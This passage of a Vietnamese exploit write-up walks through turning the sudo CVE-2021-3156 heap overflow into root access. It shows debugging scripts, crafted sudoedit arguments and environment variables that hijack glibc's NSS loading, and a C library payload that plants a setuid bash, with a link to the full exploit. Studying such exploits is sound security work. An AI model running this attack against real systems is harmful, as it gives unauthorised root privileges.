    "LC_CTYPE": "C.UTF-8@DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD",
    "LC_IDENTIFICATION": "C.UTF-8@qqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqq",
    "LC_MEASUREMENT": "C.UTF-8@hhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhh",
    "LC_PAPER": "C.UTF-8@hhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhh",
    "LC_TIME": "C.UTF-8@IIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIII",
    "LANG": "C.UTF-8@EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE",
    "TZ": "mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm",
    "PATH": "uuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuu",
    "SUDO_USER": "EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE",
    "SUDO_ASKPASS": "/bin/false"
  }
}

Exploitation!

Giờ mình sẽ viết 2 script để debug crash này, cũng ý tưởng như 2 scripts lúc bruteforce heap layout. 1 script chạy sudo với quyền user thường, script còn lại attach gdb với quyền root. Thanks, Claude, again.

import json, os, signal, ctypes

libc = ctypes.CDLL(None)

def p(l):
    return "0" * l

with open("fengshui/crashes/__GI___nss_lookup_function/103c71a3.json") as f:
    poc = json.load(f)
args = poc["arg"]
env  = [f"{k}={v}" for k, v in poc["env"].items()]

print(args)
print(env)

env_c = (ctypes.c_char_p * (len(env) + 1))(
    *[s.encode() for s in env], None
)
args_c = (ctypes.c_char_p * (len(args) + 1))(
    *[s.encode() for s in args], None
)

DEBUG = True

pid = os.fork()
if pid == 0:
    if DEBUG:
        os.kill(os.getpid(), signal.SIGSTOP)
    libc.execve(args[0].encode(), args_c, env_c)

with open("/tmp/pid", "w") as f:
    f.write(f"{pid}\n")

if DEBUG:
    print(f"Attach gdb: sudo python3 attach.py", flush=True)
    os.waitpid(pid, 0)

Mình break tại ngay đầu hàm nss_lookup_function(), ngay trước khi crash:

import os
import time

with open("/tmp/pid", "r") as f:
    pid = int(f.readline().strip())

cmds = '''
    handle SIGSTOP nostop nopass
    catch exec
    continue
    b *main
    continue
    b *__GI___nss_lookup_function
    continue
    continue
    continue
'''

gdb_args = ["gdb", "-q", "-iex", "source /root/pwndbg/gdbinit.py"]
for cmd in cmds.splitlines():
    cmd = cmd.strip()
    if cmd:
        gdb_args += ["-ex", cmd]
gdb_args += ["-p", str(pid)]

os.execve("/usr/bin/gdb", gdb_args, dict(os.environ))

Nhìn nhanh thì mình thấy mình overwrite data tại RDI, nghĩa là tham số đầu tiên của hàm:

Tìm đọc source code của hàm trong GLIBC https://elixir.bootlin.com/glibc/glibc-2.31/source/nss/nsswitch.c#L401, hàm nhận vào tham số đầu tiên là struct service_user ni, sau đó gọi tsearch() với tham số thứ 2 là địa chỉ của ni->known:

Vậy là mình đã ghi đè vào struct service_user này, cụ thể là ghi vào field known địa chỉ ko hợp lệ, dẫn đến crash khi dereference ở hàm tsearch():

typedef struct service_user
{
  /* And the link to the next entry.  */
  struct service_user *next;
  /* Action according to result.  */
  lookup_actions actions[5];
  /* Link to the underlying library object.  */
  service_library *library;
  /* Collection of known functions.  */
  void *known;
  /* Name of the service (`files', `dns', `nis', ...).  */
  char name[0];
} service_user;

Tiếp tục, nếu thoả mãn các điều kiện kia, thì nss_load_library() đc gọi, truyền vào service_user ni. Ở hàm này thấy ngay đc 1 sink có vẻ nguy hiểm đó là dl_open() nhận vào shlib_name, mà shlib_name = “libnss_” + ni->name + “.so”. Nhánh này chỉ xảy ra khi ni->library->lib_handle = NULL, mà để cái này là NULL đc thì ni->library cũng nên = NULL, để nss_new_service() đc gọi, tạo một object mới (có thể chưa khởi tạo lib_handle):

Vậy nếu mình kiểm soát đc ni->library = NULL, ni->name thì liệu mình có “open” đc file tuỳ ý? Thử đọc man page của dlopen() xem nó làm gì?

Ồ, dlopen() load một .so, tên file đc nhân từ tham số path. Đặc biệt là nếu path chứa forward slash, thì nó sẽ coi path là relative hoặc absolute pathname, nghĩa là nếu ko có /, dlopen() sẽ tìm .so trong các folder mặc định nào đó, còn nếu có /, mình có thể kiểm soát để load tại thư mục hiện tại.

Mà load .so file thì rất có khả năng ACE, let’s go!!

Check tại thanh ghi RDI, mình hoàn toàn có khả năng kiểm soát toàn bộ struct này, và đặc biệt là name:

pwndbg> p *(service_user *)$rdi
$2 = {
  next = 0x6b6b6b6b6b6b6b6b,
  actions = {(NSS_ACTION_RETURN | NSS_ACTION_MERGE | unknown: 1802201960), (NSS_ACTION_RETURN | NSS_ACTION_MERGE | unknown: 1802201960), (NSS_ACTION_RETURN | NSS_ACTION_MERGE | unknown: 1802201960), (NSS_ACTION_RETURN | NSS_ACTION_MERGE | unknown: 1802201960), (NSS_ACTION_RETURN | NSS_ACTION_MERGE | unknown: 1802201960)},
  library = 0x6b6b6b6b6b6b6b6b,
  known = 0x6b6b6b6b6b6b6b6b,
  name = 0x55764e9d06f0 'k' <repeats 39 times>
}

Nhưng để ghi đc đến name, mình phải ghi qua next, library, known, mà mình có đã leak đc địa chỉ nào đâu mà ghi giá trị hợp lệ vào? Thế chỉ còn đường là ghi NULL vào bọn nó. Mà làm sao ghi null được? input của mình là null terminated mà? Vậy thì mình lợi dụng chính cái bug overflow ban đầu, lợi dụng việc nó copy null byte từ from đến to, nghĩa là mình sẽ tạo nhiều env với ký tự ‘\’.

Ơ nhưng mà mình đang ghi đè struct service_user này với ký tự k, chuỗi sau ‘\’, nếu mình cắt bớt nó để thêm ‘\’, rồi thêm các ‘\’ vào env, thì chẳng phải user_args bị ngắn lại sao? làm lệch heap layout hiện tại:

"arg": [
    "/etc/bin/sudoedit",
    "-A",
    "-s",
    "lllllllllllllllllllllllllllllllllllllllllllllllllllllll\\", "kkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkk"
  ],

Thế thì đổi chỗ 2 thằng nó là đc :v (đơn giản vậy mà mãi mình mới nghĩ ra, haiz).

"arg": [
    "/etc/bin/sudoedit",
    "-A",
    "-s",
    "kkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkk",
    "lllllllllllllllllllllllllllllllllllllllllllllllllllllll\\"
  ],

Ok đổi chỗ xong rồi mình sẽ để cyclic vào env đầu tiên để xác định offset ghi null:

Sau khi thu gọn mình đc mảng các env var như sau:

args = ['/etc/bin/sudoedit', '-A', '-s', p(175), p(55) + '\\']

env = [
    'X=aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaa\\',
    '\\', '\\', '\\', '\\', '\\', '\\', '\\', # next
    p(24) + '\\',
    '\\', '\\', '\\', '\\', '\\', '\\', '\\', # library
    '\\', '\\', '\\', '\\', '\\', '\\', '\\', '\\',  # known
    'pwn/pwn', # name
    f"LC_COLLATE=C.UTF-8@{p(246)}",
    f"LC_CTYPE=C.UTF-8@{p(201)}",
    f"LC_IDENTIFICATION=C.UTF-8@{p(183)}",
    f"LC_MEASUREMENT=C.UTF-8@{p(92)}",
    f"LC_PAPER=C.UTF-8@{p(81)}",
    f"LC_TIME=C.UTF-8@{p(210)}",
    f"LANG=C.UTF-8@{p(32)}",
    f"TZ={p(215)}",
    'SUDO_ASKPASS=/bin/false'
]

May mắn là pass đc hết các điều kiện để đến đc dlopen():

Việc còn lại của mình là chỉ cần tạo pwn.so.2 ở thư mục libnss_pwn thôi:

#include <stdio.h>
#include <stdlib.h>
#include <sys/stat.h>
#include <unistd.h>

__attribute__((constructor)) void pwn() {{
    char *args[] = {{"/bin/cp", "/bin/bash", "/tmp/bash", NULL}};

    if (fork() == 0) {{
        execve("/bin/cp", args, 0);
        exit(1);
    }}
    wait(NULL);

    chmod("/tmp/bash", 0755 | S_ISUID);
}}

Compile payload với -shared (.so) và -fPIC (bắt buộc với .so):

gcc -shared -fPIC -o libnss_pwn/pwn.so.2 /tmp/pwn.c

The finale

Cuối cùng, exploit hoàn chỉnh:

https://github.com/ngtuonghung/CVE-2021-3156/blob/main/exploit.py

Well, có thể nó khó reproduce ở môi trường khác vì cần phải bruteforce heap layout. Dù sao thì, mình đã học thêm đc rất nhiều.

Demo

References

  1. https://www.youtube.com/playlist?list=PLhixgUqwRTjy0gMuT4C3bmjeZjuNQyqdx
  2. https://www.openwall.com/lists/oss-security/2021/01/26/3
  3. https://syst3mfailure.io/sudo-heap-overflow/